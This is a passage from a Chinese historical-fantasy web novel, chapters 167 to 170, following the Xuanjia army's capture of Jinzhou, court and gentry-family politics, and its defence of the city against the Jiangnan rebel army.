如今玄甲军拿下西南,西北之地虽对玄甲军暧昧不清,但瞧着对大历也没什么感情,说不得比起中原,西北之地先落入玄甲军的手里。” “西北之地不能说不重要,毕竟也是边关要塞,胡汉通商都要过此地,但西北比起中原又是不如,我看还是早些拿下长安,向天下宣告正统的好。”凡读书人,都讲究个正统,别看玄甲军受人拥护,真叫迂腐些的人选,还是会选大历。 好歹瘦死的骆驼比马大。 “打过去我看对玄甲军来说易如反掌,可一口气吃下这么大的地方,玄甲军哪来人治理,就说玄甲军在乡间分田的事,若非是玄甲军挑选的人盯着,随意安排了人来做,必是要阳奉阴违的。” 大历官吏都养出了好逸恶劳的性子,办事又能有几分用心,不过是当一天和尚撞一天钟,玄甲军办事历来是要干实事的,就看昌州进来提拔上高位的小吏,哪个不是整日田间劳走,虽只在衙门做事的小吏也有一套迁升体系,但比起这些干实事的官吏又有不足。 且玄甲军用人不惧年纪,过了十五就能到衙门应聘,大历的满朝文武多是年过四十的老东西了,反观玄甲军,从主公到大人,都是年纪轻轻就有所为。 “主公,你们过来也不提前通知一声。”别拭雪得了消息知道尚柒和别此云已经秘密到昌州后,实在吓的不轻。 别看玄甲军颇得百姓之心,换到地方豪强、世家那里,恨不能啖其肉饮其血,在西南都不知道抓了多少来刺杀他们的杀手。 “若是大张旗鼓过来,反而是得了一些人的心,给他们机会痛下杀手。”别此云这会和尚柒到昌州,知道的人很少,加上乔装打扮,不曾遇上什么危险。 再有,真遇上刺杀之人,除非是一群刺客包围,不然凭借他们带的护卫以及尚柒的身手,对付他们都绰绰有余。 “君子不立于危墙之下,堂兄你也熟读史书,自古国君被刺杀的也非是没有,如何敢冒这个风险。”别拭雪已经准备去军营寻别景和,城中必须加派些人手巡逻,不然他不放心。 尚柒和别此云非是不知道分寸的,此次过来昌州,一是昌州附近几州已经拿下,他们总归是要去视察的,二则西北有意归顺。 西北地界看似不小,但人口稀疏,这几年玄甲军起来后,与西北生意来往的也勤密,西北百姓是得过玄甲军好处的。 近两年朝廷愈发不行,玄甲军又打出西南往中原靠拢,西北几州的刺史比得从前识时务,不过目前只是在接触,真要接纳西北还需要些时候。 “昌州近况如何?” “昌州近来一切太平,先前过来的流民也都安顿入户,并没闹出什么乱子,城中各类工坊开起来后,百姓多也进工坊做事,虽眼下还比不得盘州应州,但也算是消化了。” 别拭雪这是给上司汇报工作,也不是他光挑好听的说,实际上昌州消化的的确顺利,主要是玄甲军打下西南已经有经验了,再一个西南这次派来管理昌州的小吏,都是精挑细选上来的,大部分都是有经验的人才,若还能闹出什么大乱子,别拭雪就得反思他自己是否管理不当。 “有功者赏,有过者罚,昌州消化完,又该派新人去昌州附近几州做事。”自古乱世就是平民百姓改名的机会,看看玄甲军治下,有多少高位者都是籍籍无名,换作前几朝,莫说当官,就是有朝廷编制都不容易。 “主公放心,已经整理好了要升迁的名单,这次过来的小吏里,应州出身的一个小哥儿最为出色,我原想着留在昌州到州府衙门做事,但他却想去新地继续做事,我瞧着像是有当一州之长的志向。”别拭雪也是有慧眼识人的本事,自也想当个伯乐,看能够叫千里马发挥更大的用途。 “可是叫黎浅?”别此云对这个哥儿有几分印象。 “正是,出去黎浅哥儿,前些时候从江南搬迁到昌州的云家,也有几个能才,只是我才考较了他们笔中才华,还未曾安排做实事。” 一旁听着的尚柒却是知道这个云家,是江南的富户,有几分名声,后头和乱军也有几分交情,但还是托玄甲军帮忙,阖家搬迁到昌州落脚。 在尚柒看,云家家主能够当机立断出了江南那个贼窝,必然养出的儿女也不见的差。 “除开云家,还有其他江南过来的富户显眼吗?”尚柒还想看看江南过来的人才,到底有多少。 “也有,但不少江南过来的富户眼下还都在观望,并未说要立刻投靠玄甲军,我瞧着似还不确定玄甲军是否能夺得天下,便不敢轻易投注。” 在别拭雪看这些富户过来昌州,不过是江南活不下去,寻一个能安生度日的地方罢了,若是哪日冒出其他乱军,比玄甲军还有望夺得天下,必然是要抛弃玄甲军改投他人的。 “不意外,世家有能力分压几股,他们是没这个本事,只要他们不闹事,只管当他们是寻常百姓就是。 若是发现他们有什么举动,也务必要紧盯着,不可叫他们送出什么消息给江南乱军。” 别此云可不信,所有江南过来的人都和乱军断了联系,这里头必然是有江南乱军故意放来的探子,只是初来乍到,老实一阵罢了。 别拭雪点头:“这次两位主公来昌州,是打算就在昌州定下图谋中原,还是留些日子又要回西南。” 别此云和尚柒闻言对视一眼,笑出声。 “若是真有心在昌州定下,也该名正言顺过来,眼下偷摸来不过是办些正事。”他们二人出行,若是光明正大,再俭省也俭省不到哪儿去,这会来只上面的人清楚就是了,不必传到百姓耳中。 昌州并非是图谋中原最合适的地方,等西北事了,再拿下几州,就可将玄甲军总部搬迁到锦州,到时候只需等拿下长安,入驻长安即可。 若没有朝廷和江南乱军打扰,最快一年就能去锦州,只是八成不会这么顺利。 因为江南那边有些风声,似乎因为玄甲军在江南偷摸送人来西南,惹恼了那位江南乱军头子,想是不打算进军长安,准备改道打玄甲军。 也不知是那乱军头子真昏了头,还是迷惑朝廷的发言,不过不论真假,尚柒已经着人准备好了炸药,对付满手血腥的乱军,不必多留情。 第167章 樊泊身着甲胄站在城门上, 玄甲军这几年来,从西南打到中原边界,从无败仗, 尤其是大历换了皇帝之后,大势将去。 玄甲军所过之处,战事几乎都是摧枯拉朽般结束, 像是昌州拿下后, 周围几州便是冬日也不算苦战就拿下, 而主公想要的锦州也近在眼前, 只消得阵下派遣一支兵马, 就能夺城。 “江南那支乱军倒是不足为据, 怕就怕乱军佯攻,真要来打的反而是朝廷的兵马。”别景和不信朝廷当真能看着玄甲军逐步蚕食中原地盘。 “朝廷之前招兵买马对上乱军大败而归,唯一还能拿的出手的只剩从前广运帝剩下的禁军, 景和你也在禁军中领过兵, 知道禁军也非是什么厉害人物,上头的将军大部分都是武将世家出身,真要说有本事也谈不上。”樊泊就是禁军出来的, 从上到下在没有不知道的。 要说新帝继位,这禁军能改头换面,他是不信的, 反而在他看,这禁军说不得还不如从前他在的时候, 好歹那时候大历国库还能收上各地送来的税银,现在大历说的好听还统管中原,实则名存实亡。 只长安那一片地还能使唤的动,像是岭南和西北明面上没有人起兵谋反, 但也成了无主之地。 要他看,这江南乱军一时间不想和长安对上,就该往南发展,吃下岭南,虽说岭南地广人稀,但好歹也是块地盘,征兵也有兵源。 结果人好好的岭南不要,反倒是想要打西南的主意,也不知葫芦里到底卖的什么药。 “锦州还是得尽快拿下,若是打下锦州,玄甲军重心就不必一直放在西南。”西南虽好,也是玄甲军万不得已的退路,但一直龟缩西南,难成大事。 眼看着大历不成器,正是他们乘胜追击的机会。 “锦州不难打,便是打下锦州正好对上过来的江南乱军,也是有一战之力,毕竟主公送了秘密武器过来。”樊泊是跟主公见识过火药的厉害,这炸药都能开山,人就是穿上甲胄难道还能和山石相比不成? “说来我还不曾见过炸药的威力,只听说开矿时有用到。”别景和都在禁军干过,什么战场的好东西按说都该见过了,偏尚柒研究的炸药一直只是耳闻,不曾在战场上见过。 “是个好东西,但也危险的很,前期为了研究这东西,再小心也是有伤亡的,若非现在性能稳固了,只怕也轻易用不得。”炸药威力大是大,但一个不慎也容易伤人伤己。 “那锦州此行,樊将军准备派谁前去?”别景和是不嫌战功多,从西南出来,昌州就是他拿下的,之后几州他也领兵一路,算有功。 只是营中还有其他兵马势力,樊泊总得给人家机会,打锦州的功劳说大不大,说小不小,但为了这个机会,下面刚提拔上来的将军们只怕要打个头破。 “蒲将军这次也从西南过来了,我看主公也有意提拔,他也请缨要去锦州,便定了他。” 蒲方成露面,也是对中原势力一个信号,虽前来投奔玄甲军的人少,且玄甲军规矩和从前王朝不一样,但只要真心投靠,玄甲军依旧重用。 文有王襄和别家,武有蒲方成和别景和,中小世家就要考虑是否弃大历改投玄甲军。 “听闻有个苏家从长安来投奔,如今已经安置在昌州做事,他们如何了?”别景和虽在前线,但后方的消息一直没断过,别看别家人大部分都投身教育,但耳目不曾闭塞过。 “这事你不该问我,昌州如今的刺史是你堂弟,苏家人他比我清楚。”樊泊不曾和什么文官交集,他自是一颗忠心向尚柒的,当初若非尚主公出手相救,他一去,他一家老小在长安怕也是活不下去的。 官场上少不得结党营私,但他手握兵权却不曾有过什么心思,且这兵权等日后打下大历,也不见得跟从前一样。 …… 赵厢下午下衙,回家后还不见丈夫儿子归来,便先用了膳,他如今在管昌州财政,这个官职说大不大说小不小,但在大历,跟钱沾边的,都是肥差。 任何花销,经过人手,都是要去一层皮的,不然这层层劈下去的银子却不见把事办好,难道当真是做事的人不成? 而玄甲军这里,赵厢才不到一个月,竟不见有谁敢贪赃,倒是叫人大吃一惊。 要说玄甲军给的俸禄自然是比大历要高的,平日里还有福利,最明显的就是给官府办差,多是能包吃包住,便是房子不过一间小屋,那也有个栖身之地。 若是平头百姓,是这能攒下不少钱的,但若是从前的大户人家,一个小姐身边都要有二三十人伺候的,那是不够给人放月钱的。 当然现在少有人家还一口气雇佣二三十人伺候一个人,顶了天也就两三个人帮忙照顾屋子起居,若是吃不惯衙门提供的饭菜,再雇个会烧菜的娘子,但一月算下来也需得几两银子。 一般小吏的俸禄自然是养不起这样多人,而到他这个位置,请自然是请的起,但经年下来,也不见能攒多少钱。 如此算下来,和从前锦衣玉食相比,就差了不少,而偏巧玄甲军这里不肯叫他们蓄田,少了一笔收入来源,虽可投资买些铺子却又不旱涝保收。 这样的情况下,竟然不见贪墨的,如何不叫赵厢吃惊,难道玄甲军当真都是清廉之人不成? 这话赵厢是不信的,不说远了,从前在长安,不少人自诩君子,就说如今别主公家里,也是文官清流,最看不起贪赃枉法之徒,但要问他们拿过下面的人孝敬没有,肯定是没人敢说没拿过。 “阿耶,我回来了。”苏长屿如今在昌州私塾念书,他打小读书,自然比才开蒙的孩子们厉害许多,只是玄甲军这里用的字都略减省,和他从前学的不一样,倒是需要再基础班学一学。 大抵一两个月适应了玄甲军这里的文字,就要去西南盘州那边进高等学府念书。 和基础班只教认字和律法不一样,到了高等学府,都是学的一些理算科目,若是想学门手艺的,也能考入专门技术学院。 这里什么手艺都教,就说最简单的厨子、木工、铁工都是能学的,师傅们从前也都是匠人,吃口手艺饭,现在培养学生了也不敢藏私,毕竟官府要真本事的人才,糊弄教学最后学徒什么手艺没学到,或是学艺不精,都是要扣他们月俸的。 如今给玄甲军办事,比的他们从前自己单干稳当,有这份好差事谁还敢不用心。 “私塾念的如何?”昌州这里的私塾才起没多久,过来授课的老师都是西南过来的,大部分不过十来岁,瞧着像是在西南念了几年书过来的。 如今西南百姓的识字率已经胜过大历许多,街上你但凡抓个几岁的娃娃,都能通读官府贴的告示,倒是上了年纪的百姓识字不太行。 就算是简化字,那也学的吃力,今儿记两个,明儿记两个,总归能认识两三百个字的,都是用心了。 “倒也没什么难的,西南那边的书店送了字典过来,我按着老师教的法子对照查字,已然记住了许多新字,我瞧不必一个月,便能去西南念书。” 其实他现在基本能认得字,只是写肯定还是写从前的老字,至于认识的,也需要多熟悉熟悉,方才不会和从前识得的字弄混。 “你年纪尚小,独自一人去西南我还有些不放心。” “阿耶不必担忧,你瞧乌桕,不过长我几岁,如今竟统管一座医院,阿耶你也去医院看过,那等地方百姓日日挤满了人还井井有条,可见乌桕本事,我可不想被比了下去。”便是不说乌桕,南枝姐姐也是一等一的厉害,当初在长安南枝姐姐不过十一二岁的年纪,就敢跟谢家少爷做生意,而今在西南,更是管着不少官家生意。 赵厢闻言也不得不点头,尚柒自己年少就能在西南闯出一番成绩,之后起兵谋反更是不到及冠之龄,如今还当得一句年少,便已是三分之一天下的主人,还都是靠自己打拼下来的,任谁见了都要说一句年少有为,是天纵奇才。 尚柒的弟弟妹妹也随了他,而他娶的夫郎更是叫天下郎君娘子羡慕,因为别此云在玄甲军里不是尚柒的夫郎,反而也是主公之一,又何尝不是一位有本事的郎君。 “你若有这个准备,我自然不会拦你,只是到了西南切莫怕苦,如今天下正是需要用人的时候,你若能抓住机会,我也不愁你日后。” 若是在长安,苏家能给苏长屿的助力也就那么多,毕竟他爹也是个五品小官,若是苏长屿自己有本事,或许能够通过科考寻个小官往上爬,若是没本事,也就能当个闲散家翁。 可在长安吃穿住行哪个不需要钱,或许苏长屿这一代还能靠着他们留下的钱过过好日子,等他们一走,孙辈怕是日子艰难。 玄甲军若成大事,看其行事,国祚少说也有两百余年,趁这个机会挣得一份家产,至少保家族几百年的荣华富贵,再远就不是他该考虑的事了。 第168章 蒲方成领兵到锦州城下, 锦州的官员也早知道玄甲军打过来的消息,向朝廷求援,毕竟丢了锦州朝廷就相当于少了一层屏障, 日后玄甲军打去长安,也会更快。 可惜朝廷就算派兵也是远水救不了近火,锦州城里只有一些驻守的府兵, 加一块还不如玄甲军这次派来的兵多, 再说玄甲军打仗一直战无不胜, 若是两军人数一样多, 都说不敢夸下海口说能赢, 现在兵马差距这样大, 更没有胜算。 只是锦州官员不肯投降,锦州可不是西南那样可有可无之地,他们想着朝廷早晚要拿回锦州, 若是投降了日后朝廷拿回锦州清算他们, 可没有好日子过。 玄甲军这里,只清算手中沾血的人头上,锦州的官员自认为行得正坐得直, 就算锦州被玄甲军攻下,也不怕玄甲军要看他们的脑袋。 仗着玄甲军做事规矩,锦州城在玄甲军抵达前就紧闭城门, 不叫城中人往来,锦州地势不怕被围, 虽前头城门不能放人进出城,但后头的城门还是会时常有人来往。 毕竟城中这么多人,米粮虽可去米行买卖,但总得吃菜吃肉, 真断了肉菜供应,不说百姓,原当官的都受不了。 “将军,锦州城城门上守军并不松散,攻城车能用,但不知城内到底准备了多少东西。”玄甲军要打锦州也不是一天两天了,真要是有心准备,城中必有不少防守的设备。 “不管有多少准备这城也得破,越靠近中原,一州之地越小,但人口繁多,当初樊将军和别将军拿下西南给地才耗了多少功夫,昌州被打下来又耗费了多少功夫,这次锦州要地给我们,是樊将军和别将军给我们机会,我们不能叫两位主公失望。” 蒲方成此次领兵,虽知是大好前程,但也颇具压力,毕竟这次机会来之不易,又有天时地利人和,几乎不可能败,算是白送他的功劳,但战场瞬息万变,也许因为一个小失误就将大好前程全都葬送也未可知。 真要是输了,主公樊将军就是不怪罪,他也是再不能待在军中。 “将军,我想咱们也不能着急,万一着急出了岔子,也非是我们所愿。”下面的人也知道蒲将军心忧。 自他们西南大军投靠玄甲军后,虽大部分都回归原籍生活,但留在军中的人也不少,而玄甲军对兵士是历来朝廷都不曾有过的好,不说远了,就说一般士兵哪能隔三差五见着荤腥。 非得大军得胜,或有一顿好肉吃,不然在营中有糙米饱腹都是运气好的,毕竟寻常兵丁也就是上战场振振士气,真要打仗还是要靠营中精兵。 而玄甲军是将每个征召来的兵都当精兵培养,征兵的要求也苛刻,有些穷苦人家想要参军都没法,因为考核过不去。 看看营中原来的弟兄们,到了冬天有件厚袄都不容易,但玄甲军这里自从棉花量跟上来后,冬日都是给发两件棉服,早前棉花不够,也给每个营都配了棉被,冬日睡觉还有暖炭,好些人活了二十几年,也就在玄甲军这里过了个不怎么冷的寒冬。 再一个每月月钱按时发放,若是不方便存放也可暂时不领,积攒一笔再寄回家中给父母花销。 只是玄甲军这里好东西也不少,平日休沐兄弟几个约出去逛逛,买些需用的东西,也要些钱财。 就说牙粉牙刷,洗澡用的皂,一身平日不操练的衣裳,都要花钱,毕竟好些个兄弟还未成亲,再不拾掇拾掇,怕是更娶不上媳妇了。 锦州城内。 锦州太守每日都在书房踱步,时时想要探听朝廷那边的消息,当初消息是八百里加急送去的,朝廷那边便是不八百里加急送情报回来,但也该有个回音才是。 总不能当真不要锦州,虽说新帝不怎么样,但当了这么久皇子,身边也该有些脑子聪明的人,如何能够放弃锦州。 江南战事失利,虽打击朝廷信心,但若是叫玄甲军从西南打入中原,岂不是比江南乱军还要忧心的存在。 毕竟江南乱军才起多久,玄甲军都几年了,几年时间一个势力稳扎稳打的吞并大历国土,不曾贪功冒进,治下也不曾闹出过什么起义反抗的乱子,就可知玄甲军绝非是泛泛之辈。 原在西南活动的势力入中原后,从昌州起,就陆陆续续有人在中原各州宣传玄甲军的事,他还抓捕了不少人,结果都是百姓自发行为,和玄甲军无关。 可见玄甲军如何得民心,不怕造反的势力强悍,就怕造反的势力得民心,也不知玄甲军占去的城池中,那些官员不曾反抗就迎玄甲军入城,当真是认为玄甲军可得天下吗? 时下世道还不算乱,江南虽有乱军,但不成大范围虐杀,朝廷虽然无能,但北面管辖之地,如今还不见有什么不妥之处,照历朝历代看,国祚怎么也还有十几年,长的也能撑个三四十年,说不得等来下一个明主还能逆风翻盘。 可要玄甲军再这样肆无忌惮的发展下去,莫说十几年,只怕不要三五年功夫,中原腹地就要落入玄甲军之手。 难不成玄甲军真是新的天命所归? 锦州太守不知道的是,朝廷收到消息后,的确有打算点兵支援,但在江南的探子传来消息,说是玄甲军得罪了江南乱军,乱军头子似乎有意要和玄甲军打,已经领兵往锦州去,江南乱军这一手叫朝廷乱了分寸。 朝堂之上很快就有两党,一党支持不出兵,毕竟如今朝廷国库不丰,先头出兵打江南都勉强,现在再出兵打锦州,只怕也是有去无回,不如休养生息,以谋后算。 而另一党自然支持出兵,还要大军压境,既要收复锦州,又要将江南乱军打退,好叫玄甲军江南乱军乃至天下都看看,朝廷没死,以扬国威,振奋士气。 两方人马吵的不可开交,新帝也只作壁上观,没个决断。 几个大世家倒是也跟着不出声,叫不少中小世家惶惶不安,也不知大世家究竟打的什么算盘,若是能知晓一二他们也好跟着大世家投注。 谢家。 这几年谢琅在玄甲军内做事,连带着夫郞都身居高位,谢家也曾派去几个本家子弟到玄甲军名下投奔,算是给玄甲军投注。 “从前倒是不知道朝廷蠢货这样多。”谢家家主下朝回来,满身火气,“锦州朝廷不打,想要玄甲军和乱军鱼蚌相争,也不看看自己是不是渔翁,锦州一失,无论是玄甲军还是乱军都有了扼制朝廷咽喉的地方。” 从前乱军在江南和朝廷隔江相望,有天然屏障,轻易不敢打过来,玄甲军更是龟缩在西南腹地,想要大军出西南都要费时费力。 锦州不论成为谁的新据点,朝廷这头就再无力回天,都要咽气了,还在争论国库那点钱财。 “行了,何必发火,你也知道这些年科举考中的多是些什么人,就是咱们这等世家出身的子弟,亦有蠢笨如猪者,何必与那些人多费唇舌。”谢夫人给谢大人倒了一杯茶,这茶是谢十三从西南送来的,比得时下茶汤好喝,自打送来后,谢大人每日总是要吃一杯,不然人都不精神。 “我自不想和他们计较,但他们一直在我耳边叨叨,我难道还能当个聋子不成,算了,不提这些烦心事。”谢大人呼了口气,吃了一口茶,心方才静下来。 “夫君刚刚提到锦州,咱们是否也该下个决断了,乱军这里,萧叶两家偷鸡不成蚀把米,给他人做了嫁衣,咱们肯定是不能再上赶着去合作。”当初乱军在江南作乱,大世家各自都心知肚明,非得是长安有人扶持,不然江南之地不会那么快沦陷,有人还说要跟着加注,结果没多久,人乱军自立了,非但不再听从背后之人安排,对世家也是极度厌恶,已经杀了不少世家的人。 这等人世家比不会再合作,而眼看着朝廷也活不长,他们唯一能跟注的只有玄甲军,偏偏玄甲军对世家态度也不好,倒不是说在玄甲军世家不在有一席之地,只要有本事怎么也能在玄甲军凭本事当官。 但只当官又不能保荣华富贵,就说平民百姓之中,难道祖上就没阔过得,多少有本事的世家历经百年都倒了,他们投靠玄甲军,相当于自掘根基。 “玄甲军,玄甲军。”谢大人念叨了几句后,叹气:“夫人你说,玄甲军也容不得咱们,可咱们若是不投靠玄甲军,再培养一个势力,难道就能和玄甲军分庭抗礼吗?” 想当皇帝的人不少,只要还不到最乱的时候,不然朝廷宗室第一个闹出乱子。 “你我也非是俗人,十三在玄甲军治下做事,便是十三对玄甲军的主公有朋友之义,难道他还会为了朋友害咱们一家人不成? 我看便是在冒头几个势力,也不见能和玄甲军比过的,咱们家大业大,能养的住子孙后代,再远也不该是咱们操心的。”谢夫人的意思已经很明显了,便是玄甲军不待见世家,他们也该投靠。 不然等玄甲军真拿了天下,他们投靠不投靠已经没什么意义了,早些投靠,好歹能挣些从龙之功,就算不再封王隐蔽后代,也不至于一点好处都没有。 “夫人既然这样说,我心里也有底了,过些日子我请族中几位叔伯出面,说一说此事,如今投靠虽算不得晚,但好位置已经被别人给占了,必须加快进度展现咱们的本事。” “夫君既然决定我自没什么意见,这些时候我也多清点家族积蓄以谋后事。” 第169章 锦州不过半月就被玄甲军拿下来, 蒲方成到底在西南干了几年,还是有些本事,主要也是朝廷久久不派援军, 锦州城再能撑也有限度。 单是围也能将锦州围死,但围城每日消耗也不少,最后蒲方成还是趁夜强攻, 几乎没费什么功夫, 锦州就被拿下了。 亏得先前他们一通头脑风暴, 以为锦州城内有什么后招, 结果外强中干, 若知道他们第一日就打进来了, 何许等半个月。 “锦州打下来,该要樊将军多派遣军队过来驻扎,此后锦州这一路将是咱们与中原朝廷的分界线, 再往北去, 就要深入中原腹地,我看那皇帝再软蛋,也该要出兵和咱们打一打才是。”蒲方成是老皇帝派遣去西南的, 从前在长安也没和晋王殿下有什么交集,却也不知晋王竟然是个软骨头,若是广运帝在位, 只怕玄甲军早就在出西南的时候和朝廷杠上了。 “我看不然,江南的乱军先来, 也不晓得这江南乱军本事到底如何,玄甲军从西南一路打到这里,也没几个算的上强敌的。”蒲方成的副官正高兴,他们这支外来军也是拿到了功劳, 平日俸禄不算白拿。 “打江南过来的流民嘴里倒是听闻这些乱军的本事,只是一个个都像是只会杀人的莽汉,这样的勇夫说来是悍将,实则长久不了。”军中勇字当头没错,但天下有几个只靠勇就坐稳三军的,不会排兵布阵,只能当个百人敌,想要当万人敌,非得文成武功都出色不可。 “将军,不管这江南乱军究竟是个什么角色,咱们只管兵来将挡水来土掩。” 蒲方成闻言,点头,好像是这么个道理,那他可就要好好等着这江南乱军过来了。 锦州百里外,江南过来的琼字军已然安营扎寨,等斥候探明锦州的情况,就要一举攻打锦州,拿下锦州,琼字军便算是将朝廷围了大半,到时候说论国土,他们琼字军占的地盘还要比大历朝廷多,到时候这大历皇帝有什么脸面说自己是正统。 “报,将军,锦州城五日前已经被玄甲军攻下,目前玄甲军约莫万人驻扎在锦州城,比咱们人要少。”琼字军大部分都是抓来的流民,认字的都是上层,但若是一点本事没有,早就叫当将军拉出去砍头了。 “慢了五日。”琼字军的头头是个大块头汉子,看模样和朝中那些大肚将军没什么区别,但实则有些心机,不然当初他如何能够算计几个大世家,将这份基业收归己有。 “将军,咱们要快攻吗?”别看现在玄甲军人少,但玄甲军占据江南几年,手中兵力怎么也该有五万人马,若是玄甲军将剩余的军队调遣到锦州驻扎,他们在人手上就没什么胜算。 “自然要快,锦州是要地,玄甲军想要,咱们也想要,虽然他们先到,但咱们抢了就是咱们的。”孟虎生取过长兵握在手中,“我亲自领兵,就是要打玄甲军一个措手不及,且要这群龟缩在西南的乱军看看,咱们的本事。” 琼字军这头就要往锦州赶,而玄甲军这边樊泊也抽调兵马一块往锦州去,锦州如今是玄甲军要塞,必不能失,如今玄甲军本就是在打天下,他作为三军将领合该在前线驻扎。 而这次与樊泊一起去锦州的还有尚柒,自玄甲军起兵以来,倒是不曾见尚柒上过战场,但尚柒能打樊泊是知道的,可惜主公心慈,见不得战场尸山血海,不然也将是一方猛将。 “琼字军已经在急速往锦州去,蒲方成手中的兵须得守一日才能等到咱们的援军。”收到前线的军报,樊泊有些焦急,江南乱军来的这样急,倒是打了他们一个措手不及。 “不必忧心,我给蒲方成送过秘密武器,真到了要紧关头他自会使用,琼字军一意孤行打锦州,多半是想成合围大历之势,此战若败,琼字军自会回江南休养,咱们此刻不能一鼓作气打去江南,多纠缠无益。”尚柒看得透孟虎生的打算,此人本事不见多大,但是个心狠手辣之辈。 若是锦州失利,他回江南日子怕也不好过,各世家他都得罪过,世家向来趁他病要他命,或许琼字军不必要他们日后再打,就要被世家报复。 “是。”樊泊闻言不再忧心,他是知道火药威力,有火药在锦州,琼字军一步都进不去,他们只管行军过去,好生接管锦州就是。 “主公,咱们拿下锦州后,是继续往北走,还是停歇一段时间。”樊泊知道主公一惯求稳,当初在西南经营几年,就是为了将西南全盘消化,如今连拿中原数城,治理方面就有些捉襟见肘了。 “停一段时日,我准备将西北先收归手中,只要草原没有动作,中原府邸在大历朝廷手里,翻不出什么风浪。”不过也快,再有三年功夫,大历国土将全全收归他手。 —————————— 锦州。 蒲方成在城门查看情况,江南乱军乌泱泱的人,别看人多,看比素质定是比不过玄甲军的,更不提这次过来,他们不光带了秘密武器,还有许多兵器,不似之前的锦州太守,什么准备都没有。 “将军,热油,滚石,弓箭都已经准备到位,我瞧着这些乱军手中没有投石车,想要攻城,只能靠云梯上城墙,咱们安排在城墙的弓箭手可再多些,必叫他们不敢靠近一步。”投石车乃是攻城利器,就是他们一时间也没什么破解的法子,除非动用主公给的秘密武器,但眼下没有投石车,琼字军的威胁就减少了。 “嗯,一刻不要松懈,他们只要有意靠近,只管射杀,尤其是夜里,城墙上的火把都点着,不能叫人有机可乘。” 他们当初趁夜偷袭锦州,琼字军自然也会趁夜偷袭,玄甲军的将士们没有夜盲之辈,但夜色昏暗,一时间看不清叫人摸上来也是可能的。 “将军,咱们有煤油灯,何必点火把。”煤油灯不比火把亮堂,寻常百姓可能还稀罕煤油灯,不肯多花钱,但他们军中给的配额一向是高的,大家伙也都节约着用,如今库存还多,拿出来点着,夜里不怕叫歹人摸上门。 “好,就用煤油灯,只怕这些江南过来的乱军还不晓得时间有煤油灯这样的好东西,夜里亮起来,怕是要吓他们一跳。”这话实在不假,煤油灯只在玄甲军流通,除开官衙有配额外,就是各个官衙开的工坊能用,寻常百姓或是买的起,但一晚上的消耗却耗不起,这好物又是紧俏货,供玄甲军境内都不足,自然外销不得。 夜里,锦州城门上当真挂起了煤油灯,叫想要夜袭的琼字军吓了一跳。 “好一个玄甲军,早先听闻玄甲军治下有奇物层出不穷现世,如今一见,倒真是叫人开眼。”孟虎生在江南好东西也是见过的,毕竟江南的富人不少,手里的好东西不比皇帝老儿少,他抢杀过几家,也搜刮过家里,可谓是富得流油,但什么金银珠宝比起玄甲军治下好物又黯然失色。 “将军,他们夜里灯燃的如此亮,咱们也不好趁机偷袭,难不成就这么守着么。” 孟虎生摆手,如何能够守着,他们晚来了五日,若是玄甲军那头动作快,差不多也快要到锦州,比起他们从江南赶过来作战,玄甲军就在锦州身后,无论是兵马还是粮草都充足,他们打不起消耗战,必须速战速决。 “再亮的灯火也不跟白天一样,再一个夜里守军必是疲乏,且在等等,只消等到午时最困倦的时候出兵,便能占尽天时,吩咐下面的兄弟打起精神,不可携带,此战获胜,我将犒赏三军,锦州城中亦有良家娘子郎君,可抢来给兄弟们做媳妇。” 这话一出,连孟虎生的副官都打起精神,这姑娘哥儿从来是不嫌多的,就说他们这些副官屋里,也都有好几房娇妻美眷,有抢来的,也有送来的。 可美人谁不喜欢,锦州距离江南不近,此地风水养出来的姑娘哥儿也与江南不同,如何不想叫人尝鲜。 此言吩咐下去,果真全军精神抖擞,恨不能立刻攻城进去,抢个貌美如花的哥儿姑娘做房内人。 等到午时三刻,真是夜深,锦州城内的百姓虽知外头可能要打仗,但有的心大竟然也睡着了,于是夜半听闻城外动静,又吓的从床上跌下去。 “当家的,听城外是不是打起来了,咱们可要逃命。”有娘子吓的抱紧自己丈夫,实在是这些日子锦州内忧外患,先是玄甲军打进来,虽不曾烧杀抢掠,但城中前几日亦是人心惶惶,如今又有乱军打来,玄甲军若是守不住,也不知这新来的乱军是否有玄甲军守规矩。 不然乱世百姓犹如浮萍,谁敢说明日是不是就是他们最后睁眼的时候。 “夜里城门都关了,又有兵丁驻守,逃能逃到哪儿去,我看玄甲军也不弱,谁输谁赢还不一定。”说话的丈夫语气极低,底气不足,与他们一家一样想法的还有很多家,只是谁也不敢这时候出门。 就这么一家子围坐在一起,每分每秒煎熬,中原能够看到窗外透过的亮光,就是不知道他们这是熬出头了,还是外面战事还没停。 第170章 援军抵达锦州的时候, 锦州城内百姓还都门户紧闭,尚柒翻身下马,蒲方成已经过来迎接了, 他知道援军会来,但不知主公也会过来,幸亏先前琼字军打过来, 他守住了锦州城, 不然可是要在主公跟前丢人了。 “主公。”蒲方成抱拳参拜。 “锦州城的情况如何了?”尚柒知道琼字军打不进锦州, 但一直在外面耗着也不是回事。 “昨夜琼字军趁夜偷袭, 但因将士们提前准备, 都给打回去了, 亏得点了煤油灯,夜里看的分明,不然那群莽汉还真能摸上来几个。” 孟虎生以为后半夜将士们会疲乏, 实则守城的将士们一个个都有心要立功升官, 夜里眼珠子瞪的比白日还大,不消蒲方成多叮嘱,一个打哈欠的人都没有。 玄甲军当兵日子比过大历不知好多少, 往上升,钱也能拿更多,这么多汉子哪个不想多攒钱置房。 “琼字军的战力如何?”尚柒一直听闻江南乱军, 但能不能打还真要过过手才知道,且朝廷派兵剿匪都叫江南乱军打退了, 这琼字军的首领必也有几分本事。 “比咱们一路打过来的对手要强,昨日琼字军在城下驻扎,我也远远看过那位琼字军首领,膀大腰圆, 瞧着是个厉害人物。”要当将军,必要一副好身板,整个玄甲军里,唯有樊将军的身板能够和那位琼字军首领比一比,别将军虽说也能打,个也高,但文人世家出身,又不如武夫精壮。 “有勇有谋,又没什么道德底线,朝廷吃亏也难怪。”尚柒对孟虎生的评价不算低,若非是他们横插一手,说不得孟虎生还真是掀翻大历统治的人,只是以孟虎生的行事作风,这皇帝当上了怕也当不久。 “主公是否有意招安此人?”蒲方成是知道主公惜才,只要有本事都能在主公名下露脸,孟虎生此人本事肯定是有,不然琼字军也不能在江南作威作福,自古打天下,招安敌将也是正常流程,若是琼字军能够归玄甲军,天下三分之二都归玄甲军之手。 大历除了中原腹地外,再没什么能拿出手和玄甲军挣。 “卧榻之侧,可容不下猛虎鼾睡。”招安?不说孟虎生在江南干的一档子事,单单是孟虎生此人,就不可能是屈居人下者,便是琼字军被玄甲军打的四处溃散,孟虎生必然也会逃窜等待东山再起之日。 若是孟虎生真投他门下,他还得时刻警惕此人什么时候反咬一口。 